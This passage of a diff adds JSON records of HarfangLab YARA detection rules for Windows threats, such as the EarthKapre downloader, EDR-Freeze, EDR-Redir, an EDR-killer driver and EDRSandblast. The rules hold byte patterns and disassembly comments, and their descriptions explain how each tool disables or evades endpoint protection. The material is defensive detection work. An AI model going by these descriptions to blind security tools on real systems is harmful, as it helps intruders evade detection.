rax\n\n            48 ba                                //\n            ?? ?? ?? ?? ?? ?? ?? ??              // mov rdx, @cascade_payload\n\n            a2                                   // (offset: 25)\n            ?? ?? ?? ?? ?? ?? ?? ??              // mov ds:@g_ShimsEnabled, al\n\n            49 b8                                //\n            ?? ?? ?? ?? ?? ?? ?? ??              // mov r8, @apc_context\n\n            48 8d 48 fe                          // lea rcx, [rax-2]\n\n            48 b8                                //\n            ?? ?? ?? ?? ?? ?? ?? ??              // mov rax, @NtQueueApcThread\n\n            ff d0                                // call rax\n            33 c0                                // xor eax, eax\n            48 83 c4 38                          // add rsp, 38h\n            c3                                   // retn\n    }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "early_cascade_injection"
+  ],
+  "rule_creation_date": "2024-11-12",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.EarlyCascadeInjection"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-earthkapre_downloader_stage1_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.577811Z",
+  "creation_date": "2026-03-23T11:46:25.577813Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.577819Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.esentire.com/blog/unraveling-the-many-stages-and-techniques-used-by-redcurl-earthkapre-apt\nhttps://www.trendmicro.com/en_ca/research/24/c/unveiling-earth-kapre-aka-redcurls-cyberespionage-tactics-with-t.html\nhttps://go.group-ib.com/hubfs/report/group-ib-redcurl-threat-research-2020-en.pdf"
+  ],
+  "name": "earthkapre_downloader_stage1.yar",
+  "content": "rule earthkapre_downloader {\n    meta:\n        title = \"EarthKapre Downloader\"\n        id = \"0e517c10-f758-4305-8de4-4b79da496386\"\n        description = \"Detects the EarthKapre Downloader.\\nThis malicious tool downloads and executes a stealer or final payload. Strings are encrypted to hide data, including used APIs and download location. Persistence is insured by creating a scheduled task.\\nEarthKapre (RedCurl) is a threat actor with a focus on corporate espionage.\\nIt is recommended to analyze the context around this alert to look for any subsequent file execution or suspicious activities.\"\n        references = \"https://www.esentire.com/blog/unraveling-the-many-stages-and-techniques-used-by-redcurl-earthkapre-apt\\nhttps://www.trendmicro.com/en_ca/research/24/c/unveiling-earth-kapre-aka-redcurls-cyberespionage-tactics-with-t.html\\nhttps://go.group-ib.com/hubfs/report/group-ib-redcurl-threat-research-2020-en.pdf\"\n        date = \"2025-02-19\"\n        modified = \"2025-04-07\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1106;attack.persistence;attack.t1053.005;attack.defense_evasion;attack.t1055.012;attack.t1140\"\n        classification = \"Windows.Loader.EarthKapreDownloader\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 868d382f98a4465b239f9e5b6dc91a46ada7f334df26af9e780dd7fa74dc4e3c\n        // cbb4ac9c22522a4be4eb7b5472f7acb2c783557cea97013b4c46813ff664cf56\n        // 6ecfa9270b4f81746215dd3b8d1696bf0ead22be63ef62c90edecba223aeebc8\n        // 2347e3b48c717399b001209442b4a23d39ecf5e22aa728951a0328983b17308f\n        // 88edd697a50ef6bc1fb6cecd6867227c090cd6072cbfc5e01fcf7ccf2e11ee04\n        // 065193271e823bbeeda8dae5ed2b8633ca7b1d39460c3bb7b0f13509e9220f3b\n\n        $op1 = /(((\\xc1[\\xe8-\\xef])|(\\x41\\xc1[\\xe8-\\xef]))\\x1e)(((\\x69[\\xc0\\xc9\\xd2\\xdb\\xe4\\xed\\xf6\\xff])|(\\x45\\x69[\\xc0\\xc9\\xd2\\xdb\\xe4\\xed\\xf6\\xff]))\\xff\\xff\\xff\\x7f)(([\\x29\\x2b][\\xc1-\\xc8\\xca-\\xd1\\xd3-\\xda\\xdc-\\xe3\\xe5-\\xec\\xee-\\xf5\\xf7-\\xfe])|(\\x41([\\x29\\x2b][\\xc0-\\xff])|\\x44([\\x29\\x2b][\\xc0-\\xff])|\\x45([\\x29\\x2b][\\xc1-\\xc8\\xca-\\xd1\\xd3-\\xda\\xdc-\\xe3\\xe5-\\xec\\xee-\\xf5\\xf7-\\xfe])))(((\\x69[\\xc1-\\xc8\\xca-\\xd1\\xd3-\\xda\\xdc-\\xe3\\xe5-\\xec\\xee-\\xf5\\xf7-\\xfe])|([\\x41\\x44]\\x69[\\xc0-\\xff]|\\x45\\x69[\\xc1-\\xc8\\xca-\\xd1\\xd3-\\xda\\xdc-\\xe3\\xe5-\\xec\\xee-\\xf5\\xf7-\\xfe]))\\x8f\\xbc\\x00\\x00)/ ascii\n        // C1 E8 1E                // shr     eax, 1Eh\n        // 69 C0 FF FF FF 7F       // imul    eax, 7FFFFFFFh\n        // 44 2B C0                // sub     ecx, eax\n        // 44 69 C1 8F BC 00 00    // imul    r8d, ecx, 0BC8Fh\n        //... and variants thereof\n        $str1 = \"GetSystemTimeAsFileTime\" ascii fullword\n        $str2 = /LegalCopyright.[a-zA-Z]{4,32}\\sCopyright\\s\\(C\\)\\s20\\d{2}/ wide fullword\n\n    condition:\n        filesize > 10KB and filesize < 2MB\n        and (uint16be(0)==0x4D5A)\n        and (#op1 > 5) // De-XORing loop\n        and ((@op1[2] - @op1[1]) < 100) // Within same func\n        and (all of ($str*)) // Single unmasked import + generated PE infos\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "earthkapre_downloader"
+  ],
+  "rule_creation_date": "2025-02-19",
+  "rule_modified_date": "2025-04-07",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Loader.EarthKapreDownloader"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1106",
+    "attack.t1053.005",
+    "attack.t1055.012"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-edr_freeze_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.576153Z",
+  "creation_date": "2026-03-23T11:46:25.576156Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.576162Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/TwoSevenOneT/EDR-Freeze"
+  ],
+  "name": "edr_freeze.yar",
+  "content": "rule edr_freeze {\n    meta:\n        title = \"EDR-Freeze HackTool\"\n        id = \"0ab6ffbc-02ad-4004-bb72-a36d520205bf\"\n        description = \"Detects EDR-Freeze, a tool designed to freeze the EDR processes using WerFaultSecure.exe and MiniDump APIs.\\nEDR-Freeze operates by creating a MiniDump that freezes a specific process.\\nIt is recommended to examine the context in which this tool is executed to determine whether its use is legitimate.\"\n        references = \"https://github.com/TwoSevenOneT/EDR-Freeze\"\n        date = \"2025-10-13\"\n        modified = \"2025-10-13\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1574\"\n        classification = \"Windows.HackTool.EDR-Freeze\"\n        context = \"process,memory,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 970c7834e58b6ef22473875167a333dbb33bf7b667d1cb814829f68579cd85f7\n\n        $s1 = \"D:\\\\Projects\\\\PPL\\\\EDR-Freeze\\\\x64\\\\Release\\\\EDR-Freeze.pdb\" ascii fullword\n        $s2 = \"Two Seven One Three: https://x.com/TwoSevenOneT\" wide fullword\n        $s3 = \"EDR-Freeze.exe 1234 10000\" wide fullword\n        $s4 = \"Failed to find main thread for PID\" wide fullword\n        $s5 = \"Kill WER successfully. PID:\" wide fullword\n        $s6 = \"Freeze the target for 10000 milliseconds\" wide fullword\n\n        $f1 = \"C:\\\\Windows\\\\System32\\\\WerFaultSecure.exe\" wide fullword\n        $f2 = \"Process suspended successfully.\" ascii fullword\n        $f3 = \"Process terminated successfully.\" ascii fullword\n        $f4 = \"NtSuspendProcess failed. Error code:\" ascii fullword\n        $f5 = \"==================================================\" wide fullword\n\n    condition:\n        2 of ($s*) or (all of ($f*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "edr_freeze"
+  ],
+  "rule_creation_date": "2025-10-13",
+  "rule_modified_date": "2025-10-13",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.EDR-Freeze"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "memory",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-edr_killer_driver_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.588990Z",
+  "creation_date": "2026-03-23T11:46:25.588992Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.588998Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://news.sophos.com/en-us/2025/12/06/inside-shanya-a-packer-as-a-service-fueling-modern-attacks/\nhttps://www.guidepointsecurity.com/blog/gritrep-akira-sonicwall/"
+  ],
+  "name": "edr_killer_driver.yar",
+  "content": "rule edr_killer_driver {\n    meta:\n        title = \"EDR Killer Driver\"\n        id = \"75e2df4d-f3fc-4bd2-9520-35f80149cd46\"\n        description = \"Detects a malicious driver associated with the emerging Akira ransomware campaign.\\nSpecifically, it targets the unsigned kernel-mode driver hlpdrv.sys used in a bring-your-own-vulnerable-driver (BYOVD) chain, often loaded via the legitimate rwdrv.sys driver.\\nAttackers leverage this driver to disable endpoint protections such as Microsoft Defender on compromised systems.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://news.sophos.com/en-us/2025/12/06/inside-shanya-a-packer-as-a-service-fueling-modern-attacks/\\nhttps://www.guidepointsecurity.com/blog/gritrep-akira-sonicwall/\"\n        date = \"2025-12-08\"\n        modified = \"2026-01-27\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1068;attack.defense_evasion;attack.t1562.001\"\n        classification = \"Windows.Driver.EDRKiller\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // bd1f381e5a3db22e88776b7873d4d2835e9a1ec620571d2b1da0c58f81c84a56\n\n        $s1 = \"Process image path: %ws\"\n        $s2 = \"HandleIoctl: IOCTL CALLED: 0x%x\"\n        $s3 = \"HandleIoctl: PsLookupProcessByProcessId pid:0x%x\"\n        $s4 = \"HandleIoctl: TerminateProcessByPID failed with status 0x%x\"\n        $s5 = \"Driver initialized successfully.\"\n\n    condition:\n        all of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "edr_killer_driver"
+  ],
+  "rule_creation_date": "2025-12-08",
+  "rule_modified_date": "2026-01-27",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Driver.EDRKiller"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001",
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-edr_redir_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.581672Z",
+  "creation_date": "2026-03-23T11:46:25.581675Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.581684Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/TwoSevenOneT/EDR-Redir"
+  ],
+  "name": "edr_redir.yar",
+  "content": "rule edr_redir {\n    meta:\n        title = \"EDR-Redir HackTool\"\n        id = \"90cbc507-349e-49f1-a848-40a4dbf4641d\"\n        description = \"Detects EDR-Redir, a tool developed by TwoSevenOneT to impair EDRs using path redirections.\\nEDR-Redir is known to target EDR solutions by using a Bind Filter (mini filter bindflt.sys) and the Windows Cloud Filter API (cldflt.sys) to redirect the EDR's working folder to a folder of the attacker's choice.\\nIt is recommended to quarantine detected files, check the integrity of running security solutions and to investigate for any other malicious actions on the host.\"\n        references = \"https://github.com/TwoSevenOneT/EDR-Redir\"\n        date = \"2025-10-28\"\n        modified = \"2025-11-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1562.001\"\n        classification = \"Windows.HackTool.EDR-Redir\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 0e5f61fc92adea436b9a1c6ad2b7a77123f8524a2caac61bec5bf2f3a9ea0bcf\n\n        $edr_redir_1 = \"GitHub:  https://github.com/TwoSevenOneT/EDR-Redir\" wide fullword\n        $edr_redir_2 = \"EDR-Redir.exe: Tool to redirect the EDR to another location\" wide fullword\n        $edr_redir_3 = \"EDR-Redir.exe bind <VirtualPath>\" wide fullword\n        $edr_redir_4 = \"To remove a syncroot that was previously created\" wide fullword\n        $edr_redir_5 = \"Failed to register sync root. HRESULT: \" wide fullword\n        $edr_redir_6 = \"Cloud filter usage: EDR-Redir.exe cloud <SyncRootPath> create\" wide fullword\n        $edr_redir_7 = \"Two Seven One Three: https://x.com/TwoSevenOneT\" wide fullword\n\n    condition:\n        3 of ($edr_redir_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "edr_redir"
+  ],
+  "rule_creation_date": "2025-10-28",
+  "rule_modified_date": "2025-11-04",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.EDR-Redir"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-edrsandblast_generic_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.563255Z",
+  "creation_date": "2026-03-23T11:46:25.563259Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.563267Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/wavestone-cdt/EDRSandblast"
+  ],
+  "name": "edrsandblast_generic.yar",
+  "content": "rule edrsandblast {\n    meta:\n        title = \"EDRSandblast HackTool\"\n        id = \"70d11aed-45c6-470d-966b-bfe4fac30782\"\n        description = \"Detects EDRSandblast, a tool developed by Wavestone designed to kill or silence EDRs using various techniques including ETW silencing or kernel callback tampering.\\nEDRSandblast is known to target EDR solutions through methods like ETW (Event Tracing for Windows) silencing, driver interference, and kernel callback manipulation.\\nIt is recommended to quarantine detected files, check the integrity of running security solutions and to investigate for any other malicious actions on the host.\"\n        references = \"https://github.com/wavestone-cdt/EDRSandblast\"\n        date = \"2023-05-05\"\n        modified = \"2025-11-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1562.001\"\n        classification = \"Windows.HackTool.EDRSandblast\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // a783abe25e1e450339d646df8e58502b8452984d82c660d09c7661d8e6f75f33\n        // 22940c6fc95a843810765a454ba73ec7c28ca08737087c9136571aa96831fbbe\n\n        $check_for_debugger = {\n            48 89 ?? ?? ??                                // mov     [rsp+JMC_flag], rcx\n            48 83 ?? ??                                   // sub     rsp, 38h\n            48 8B ?? ?? ??                                // mov     rax, [rsp+38h+JMC_flag]\n            48 89 ?? ?? ??                                // mov     [rsp+38h+__DebuggerLocalJMCFlag], rax\n            48 8B ?? ?? ??                                // mov     rax, [rsp+38h+JMC_flag]\n            0F B6 00                                      // movzx   eax, byte ptr [rax]\n            85 C0                                         // test    eax, eax\n            74 ??                                         // jz      short loc_140029E57\n            83 ?? ?? ?? ?? 00 00                          // cmp     cs:__DebuggerCurrentSteppingThreadId, 0\n            74 ??                                         // jz      short loc_140029E57\n            FF ?? ?? ?? ?? 00                             // call    cs:__imp_GetCurrentThreadId\n            39 ?? ?? ?? ?? 00                             // cmp     cs:__DebuggerCurrentSteppingThreadId, eax\n            75 ??                                         // jnz     short loc_140029E57\n            90                                            // nop\n            48 83 ?? ??                                   // add     rsp, 38h\n            C3                                            // retn\n        }\n\n        $vuln_driver_install_1 = {\n            E8 ?? ?? FF FF                                // call    j_GetDriverServiceName\n            48 ?? ?? ??                                   // mov     [rbp+110h+svcName], rax\n            C7 ?? ?? ?? 01 00 00 00                       // mov     [rsp+140h+startIt], 1 ; startIt\n            C7 ?? ?? ?? 02 00 00 00                       // mov     [rsp+140h+startType], 2 ; startType\n            41 B9 01 00 00 00                             // mov     r9d, 1          ; serviceType\n            4C 8B ?? ?? ?? 00 00                          // mov     r8, [rbp+110h+driverPath] ; binPath\n            48 8B ?? ??                                   // mov     rdx, [rbp+110h+svcName] ; displayName\n            48 8B ?? ??                                   // mov     rcx, [rbp+110h+svcName] ; serviceName\n            E8 ?? ?? FF FF                                // call    j_ServiceInstall\n        }\n\n        $vuln_driver_install_2 = {\n            41 B9 10 00 06 00                             // mov     r9d, 60010h     ; dwDesiredAccess\n            4C 8B ?? ?? ?? ?? ??                          // mov     r8, [rbp+110h+displayName] ; lpDisplayName\n            48 8B ?? ?? ?? ?? ??                          // mov     rdx, [rbp+110h+serviceName] ; lpServiceName\n            48 8B ?? ??                                   // mov     rcx, [rbp+110h+hSC] ; hSCManager\n            FF ?? ?? ?? ?? 00                             // call    cs:__imp_CreateServiceW\n        }\n\n        $get_ntoskrnl_offset_online = {\n            8B C0                                         // mov     eax, eax\n            48 89 05 ?? ?? ?? 00                          // mov     qword ptr cs:g_ntoskrnlOffsets+28h, rax\n            4C 8D 05 ?? ?? ?? 00                          // lea     r8, aProviderenable ; \"ProviderEnableInfo\"\n            48 8D 15 ?? ?? ?? 00                          // lea     rdx, aEtwGuidEntry ; \"_ETW_GUID_ENTRY\"\n            48 8B ?? ??                                   // mov     rcx, [rbp+0F0h+sym_ctx] ; ctx\n            E8 ?? ?? ?? FF                                // call    j_GetFieldOffset\n            8B C0                                         // mov     eax, eax\n            48 89 05 ?? ?? ?? 00                          // mov     qword ptr cs:g_ntoskrnlOffsets+30h, rax\n            48 8D 15 ?? ?? ?? 00                          // lea     rdx, aPsprocesstype ; \"PsProcessType\"\n            48 8B ?? ??                                   // mov     rcx, [rbp+0F0h+sym_ctx] ; ctx\n            E8 ?? ?? ?? FF                                // call    j_GetSymbolOffset\n            48 89 05 ?? ?? ?? 00                          // mov     qword ptr cs:g_ntoskrnlOffsets+38h, rax\n            48 8D 15 ?? ?? ?? 00                          // lea     rdx, aPsthreadtype ; \"PsThreadType\"\n            48 8B ?? ??                                   // mov     rcx, [rbp+0F0h+sym_ctx] ; ctx\n            E8 ?? ?? ?? FF                                // call    j_GetSymbolOffset\n            48 89 05 ?? ?? ?? 00                          // mov     qword ptr cs:g_ntoskrnlOffsets+40h, rax\n            4C 8D 05 ?? ?? ?? 00                          // lea     r8, aCallbacklist ; \"CallbackList\"\n            48 8D 15 ?? ?? ?? 00                          // lea     rdx, aObjectType ; \"_OBJECT_TYPE\"\n            48 8B ?? ??                                   // mov     rcx, [rbp+0F0h+sym_ctx] ; ctx\n            E8 ?? ?? ?? FF                                // call    j_GetFieldOffset\n            8B C0                                         // mov     eax, eax\n        }\n\n        $edr_driver_1  = \"DwShield.sys\" wide\n        $edr_driver_2  = \"CpAvKernel.sys\" wide\n        $edr_driver_3  = \"Spiderg3.sys\" wide\n        $edr_driver_4  = \"fortishield.sys\" wide\n        $edr_driver_5  = \"SophosED.sys\" wide\n        $edr_driver_6  = \"DTDSel.sys\" wide\n        $edr_driver_7  = \"isecureflt.sys\" wide\n        $edr_driver_8  = \"JKPPOK.sys\" wide\n        $edr_driver_9  = \"ctifile.sys\" wide\n        $edr_driver_10 = \"QQProtect.sys\" wide\n        $edr_driver_11 = \"GEProtection.sys\" wide\n        $edr_driver_12 = \"IronGateFD.sys\" wide\n\n        $rt_core = \"\\\\\\\\.\\\\RTCore64\" fullword wide\n\n    condition:\n        ($check_for_debugger and (all of ($vuln_driver_install_*) or $get_ntoskrnl_offset_online))\n        or (all of ($edr_driver_*) and $rt_core)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "edrsandblast"
+  ],
+  "rule_creation_date": "2023-05-05",
+  "rule_modified_date": "2025-11-04",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.EDRSandblast"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-edrsandblast_strings_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.571503Z",
+  "creation_date": "2026-03-23T11:46:25.571505Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.571511Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/wavestone-cdt/EDRSandblast"
+  ],
+  "name": "edrsandblast_strings.yar",
+  "content": "rule edrsandblast_strings {\n    meta:\n        title = \"EDRSandblast HackTool Strings\"\n        id = \"f793d32f-60ab-4050-b483-0c2649c25f07\"\n        description = \"Detects strings proper to EDRSandblast, a tool developed by Wavestone designed to kill or silence EDRs using various techniques including ETW silencing or kernel callback tampering.\\nEDRSandblast is known to target EDR solutions through methods like ETW (Event Tracing for Windows) silencing, driver interference, and kernel callback manipulation.\\nIt is recommended to quarantine detected files, check the integrity of running security solutions and to investigate for any other malicious actions on the host.\"\n        references = \"https://github.com/wavestone-cdt/EDRSandblast\"\n        date = \"2022-09-12\"\n        modified = \"2025-03-06\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1601.001\"\n        classification = \"Windows.HackTool.EDRSandblast\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // a783abe25e1e450339d646df8e58502b8452984d82c660d09c7661d8e6f75f33\n        // 22940c6fc95a843810765a454ba73ec7c28ca08737087c9136571aa96831fbbe\n\n        $s1 = \"EDRSandblast\" ascii\n        $s2 = \"EDRSandblast\" wide\n\n        $s3 = \"NtoskrnlOffsets.csv\" wide\n        $s4 = \"WdigestOffsets.csv\" wide\n\n        $s5 = \"Kernel callbacks\" wide\n        $s6 = \"--unhook-method\" wide\n        $s7 = \"RTCore64.sys\" wide\n        $s8 = \"Psp%sNotifyRoutine:\" wide\n        $s9 = \"Found callback belonging to EDR driver\" wide\n        $s10 = \"\\\\\\\\.\\\\RTCore64\" fullword wide\n\n    condition:\n        6 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "edrsandblast_strings"
+  ],
+  "rule_creation_date": "2022-09-12",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.EDRSandblast"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1601.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-edrsilencer_yar",
+  "test_maturity_current_count": 0,
